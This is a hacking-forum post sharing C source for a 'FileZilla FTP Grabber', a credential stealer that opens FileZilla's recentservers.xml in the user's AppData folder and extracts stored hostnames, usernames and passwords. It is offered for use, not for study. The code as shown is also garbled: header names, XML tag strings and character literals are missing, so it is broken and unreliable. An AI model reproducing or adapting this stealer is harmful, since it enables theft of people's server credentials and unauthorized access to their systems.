Jump to content
YOUR-AD-HERE
HOSTING
TOOLS

Locked [C] FileZilla FTP Grabber


dEEpEst

Recommended Posts

Crédit : pUr3 h4t3

 

 

[HIDE-THANKS][LENGUAJE=C]/******************************

 

**********PureHate©**********

 

******************************/

 

#include

#include

#include

#include

 

#ifdef _MSC_VER

#define _CRT_SECURE_NO_WARNINGS

#endif

 

 

int GetAppDataFolder(char szPath[0x104])

{

if(SUCCEEDED(SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, szPath)))

{

strcat(szPath, "\\");

return 0;

}

return -1;

}

 

char * ParseLine(char buff[0x104*2])

{

char szInfo[0x104*2] = "";

char * pWord = NULL;

char * i = NULL, * j = NULL;

int k = 0;

 

if (pWord = strstr(buff, "")){

i = pWord+6;

j = strrchr(i, '

k = j - i;

_snprintf(szInfo, k+6, "\nHost:%s", i);

return szInfo;

}

if (pWord = strstr(buff, "")){

i = pWord+6;

j = strrchr(i, '

k = j - i;

_snprintf(szInfo, k+6, "\nUser:%s", i);

return szInfo;

}

if (pWord = strstr(buff, "")){

i = pWord+6;

j = strrchr(i, '

k = j - i;

_snprintf(szInfo, k+6, "\nPass:%s", i);

return szInfo;

}

 

return NULL;

}

 

int main (void)

{

char szPath[0x104] ="";

char szLine[0x104*2] = "";

char szGrabed[0x104*8] = "FileZilla Acount.\n";

 

GetAppDataFolder(szPath);

strcat(szPath, "\\FileZilla\\recentservers.xml");

 

FILE * pFile = NULL;

pFile = fopen(szPath, "r");

if (pFile){

char * pTemp;

while(fgets(szLine, sizeof(szLine), pFile) != NULL){

pTemp = ParseLine(szLine);

if (pTemp){

strcat(szGrabed, pTemp);

}

}

 

printf(szGrabed);

system ("pause");

}else{

return EXIT_FAILURE;

}

return EXIT_SUCCESS;

}[/LENGUAJE][/HIDE-THANKS]

Link to comment
Share on other sites

Guest
This topic is now closed to further replies.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.